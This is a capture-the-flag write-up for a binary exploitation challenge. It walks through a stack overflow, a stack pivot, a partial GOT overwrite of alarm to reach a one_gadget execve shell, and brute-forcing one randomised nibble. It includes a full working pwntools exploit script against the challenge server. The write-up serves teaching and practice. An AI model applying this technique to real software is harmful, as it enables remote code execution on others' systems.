Home wwf2025 Giggity Ropity Goo
Writeup
Cancel

Giggity Ropity Goo

Challenge

Highlights

  • one_gadget
  • stack pivot
  • PIE bruteforce

Discovery

checksec output

1
2
3
4
5
6
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

the challenge doesn’t tell us anything when run, so we have to go straight to the code!!

1
2
3
4
5
6
7
8
9
10
undefined8 main(void)

{
  undefined local_108 [256];
  
  setup();
  alarm(0x3c);
  read(0,local_108,272);
  return 0;
}

I’ll also include the disassembly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined main()
             undefined         AL:1           <RETURN>
             undefined1        Stack[-0x108   local_108                               XREF[1]:     004011a2(*)  
                             main                                            XREF[4]:     Entry Point(*), 
                                                                                          _start:00401074(*), 00402038, 
                                                                                          00402108(*)  
        00401183 55              PUSH       RBP
        00401184 48 89 e5        MOV        RBP,RSP
        00401187 48 81 ec        SUB        RSP,0x100
                 00 01 00 00
        0040118e b8 00 00        MOV        EAX,0x0
                 00 00
        00401193 e8 ae ff        CALL       setup                                            undefined setup()
                 ff ff
        00401198 bf 3c 00        MOV        EDI,0x3c
                 00 00
        0040119d e8 9e fe        CALL       <EXTERNAL>::alarm                                uint alarm(uint __seconds)
                 ff ff
        004011a2 48 8d 85        LEA        RAX=>local_108,[RBP + -0x100]
                 00 ff ff ff
        004011a9 ba 10 01        MOV        EDX,272
                 00 00
        004011ae 48 89 c6        MOV        RSI,RAX
        004011b1 bf 00 00        MOV        EDI,0x0
                 00 00
        004011b6 e8 95 fe        CALL       <EXTERNAL>::read                                 ssize_t read(int __fd, void * __
                 ff ff
        004011bb b8 00 00        MOV        EAX,0x0
                 00 00
        004011c0 c9              LEAVE
        004011c1 c3              RET

Stuff we can get from this:

  • We only have space for one gadget
    • there’s no way to leak libc so it can’t be a one gadget
    • this means we have to perform stack pivot

So what can we do after we do the stack pivot?

PLT and GOT table analysis

Let’s take a look at the .plt relocation table with readelf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ readelf -r main

Relocation section '.rela.dyn' at offset 0x540 contains 4 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000403fd8  000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403fe0  000500000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000404030  000600000005 R_X86_64_COPY     0000000000404030 stdout@GLIBC_2.2.5 + 0
000000404040  000700000005 R_X86_64_COPY     0000000000404040 stdin@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x5a0 contains 3 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000404000  000200000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0
000000404008  000300000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0
000000404010  000400000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0

We can see that we have 3 elements:

  • setbuf
  • read
  • alarm

The first two (in my list) are common and mean nothing, alarm on the other hand, seems like a hint.

one gadget?

So at first it looks like we can’t ret to a one gadget since we don’t have a libc leak

What if I told you that we don’t need a leak?

PIE bruteforcing and ret to one_gadget

So, to get the libc version of the challenge I looked at the Dockerfile (which is standard practice)

1
2
3
4
5
6
7
8
9
10
11
12
from ubuntu@sha256:72297848456d5d37d1262630108ab308d3e9ec7ed1c3286a32fe09856619a782 AS app

FROM pwn.red/jail

COPY --from=app / /srv

COPY main2 /srv/app/run
COPY flag.txt libc.so.6* ld-linux-x86-64.so.2* /srv/app/

RUN chmod +x /srv/app/run

ENV JAIL_TIME=70%

We can see that the base image used is ubuntu@sha256:72297848456d5d37d1262630108ab308d3e9ec7ed1c3286a32fe09856619a782, so I got the libc from a container using that image and ran one_gadget to it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ one_gadget libc.so.6
0x583dc posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, rip+0x17302e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0x583e3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, rip+0x17302e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

so the possible one_gadget addresses are:

  • 0x583dc
  • 0x583e3
  • 0xef4ce
  • 0xef52b

Now let’s look at the address of alarm() in the disassembly of libc.so.6

1
2
3
❯ objdump -d libc.so.6| grep alarm
00000000000ee230 <alarm>:
   ee241:       73 01                   jae    ee244 <alarm+0x14>

Aha!

The last two gadgets kinda align with the address of alarm, only the last two bytes are different, this means that we can overwrite alarm in the .GOT table to make it point to the one gadget address!!

There’s one small issue tho, libc always has PIE, so while the last 3 nibbles will always match, the 4 one will change every time, this means that there are 16 possible values from which it will take a random one, no biggie, we’ll just run the exploit 16 times :) (that is how probability works… right?)

btw I decided to use the last one because they are all stack values so it’s less for my brain to handle.

Solution

Full script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import process, remote, ROP, ELF, context, p64, gdb, pause, sleep

target_file = "./main_patched"
target_bin = ELF(target_file)
context.binary = target_bin

p = remote("chal.wwctf.com", 7003)

rip_offset = 264
rbp_offset = rip_offset - 8

main = p64(0x401183)
pivot_addr = 0x4011a2
alarm = 0x404008
plt_alarm = 0x401040

# -------------------- PIVOT TO CHANGE ALARM --------------------------
payload = b"A" * rbp_offset + p64(alarm + 0x200) + p64(pivot_addr)

p.send(payload)

# -------------------- WRITE SMALL GADGETS TO CHANGE ALARM ----------------------
gadgets = p64(0x405000) + p64(plt_alarm)
filler = b"A"*(rbp_offset-len(gadgets))
payload = gadgets + filler + p64(alarm + 0x100) + p64(pivot_addr)
p.send(payload)

# ------------------- CHANGE ALARM -----------------------------------------------------------------
payload = b"\x2b\xf5"
p.send(payload)

p.interactive()

First stage: Stack pivot

So first we perform a stack pivot, setting RBP to 0x200 bytes after the entry for alarm in .got (we’ll come back to this), the address we return to is the the parameters setup for the read() call in the challenge function. Why? Because we only have space for a single gadget, so this way we can send data again.

Second stage: Write gadgets

So now that we have the chance to input more data at a writable section that we can predict, we can just go ham and use the entire stack for gadgets!!

Of course, they won’t get executed at this stage, but we can move RSP there later and run them.

Which gadgets?

This is hard to answer on this stage, the only thing we know is that we want to return to .plt.alarm in the end since that will mean a call to our one_gadget once the .got is corrupted >:)

Besides that, we can predict that we will need a final call to read(), so if we use the stack pivot address for this, then the LEAVE instruction will get executed besides the RET, and remember the constraints for our gadget.

1
2
3
4
5
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

to ensure fulfillment of the constraints we better control where RBP ends up pointing, since we only care that anything below it is writable and NULL, I picked the highest writable address.

so our gadgets look like this:

1
gadgets = p64(0x405000) + p64(plt_alarm)

Only a single gadget anyways and an address for leave to take

Then the final payload for this stage:

1
2
filler = b"A"*(rbp_offset-len(gadgets))
payload = gadgets + filler + p64(alarm + 0x100) + p64(pivot_addr)
  • a dose of b"A"s to fill the stack
  • .got.alarm + 0x100 that leave will assign to RBP (hold on I’ll explain I swear)
  • our good friend the pivot address

Stage three: .got corruption and gadget execution

Remember how for the first stage we made RBP point to .got.alarm + 0x200 and for the second it was .got.alarm + 0x200? Well that’s not random, if you look at the disassembly carefully you’ll realize the read() actually inserts data at RBP - 0x100 so when RBP = .got.alarm + 0x200 -> &buffer = got.alarm + 0x100 (how do you like this syntax abuse?)

Then when we set RBP = .got.alarm + 0x100 to make &buffer = .got.alarm something funny happens, RBP is exactly where our gadgets were written.

So all we have to send as a payload now are the two bytes with the one_gadget + guessed PIE and hope it works, if not then we run it again 15 times (exactly, that’s how probability works)

1
payload = b"\x2b\xf5"

Bonus: Was my solve not intended?

So remember how I said that alarm in the got table seemed like a clue? Well that never made much sense with the other solve. I mean yeah we changed where the entry points to, but we could’ve done that with read or setbuf and then call them, it was the last call anyway so it’s not like we needed read to keep working past here.

So this leads me to believe that the actual solve was something more like smol - NaHamCon 2021 (writeup by datajerk/burner_herz0g) where we abuse the fact that alarm can be turned into a janky syscall by using a similar technique to what I did to make the got entry point to alarm + 9, check disassembly.

1
2
3
4
5
6
7
8
9
10
11
12
Dump of assembler code for function alarm:
   0x00007ffff7ea3f10 <+0>: endbr64
   0x00007ffff7ea3f14 <+4>: mov    eax,0x25
   0x00007ffff7ea3f19 <+9>: syscall
   0x00007ffff7ea3f1b <+11>:    cmp    rax,0xfffffffffffff001
   0x00007ffff7ea3f21 <+17>:    jae    0x7ffff7ea3f24 <alarm+20>
   0x00007ffff7ea3f23 <+19>:    ret
   0x00007ffff7ea3f24 <+20>:    mov    rcx,QWORD PTR [rip+0x104f45]        # 0x7ffff7fa8e70
   0x00007ffff7ea3f2b <+27>:    neg    eax
   0x00007ffff7ea3f2d <+29>:    mov    DWORD PTR fs:[rcx],eax
   0x00007ffff7ea3f30 <+32>:    or     rax,0xffffffffffffffff
   0x00007ffff7ea3f34 <+36>:    ret

This would have been needed because the challenge doesn’t have any syscall gadget that returns.

I still think my idea was more fun, unless that was intended, then this is more fun.

Flag

user: root: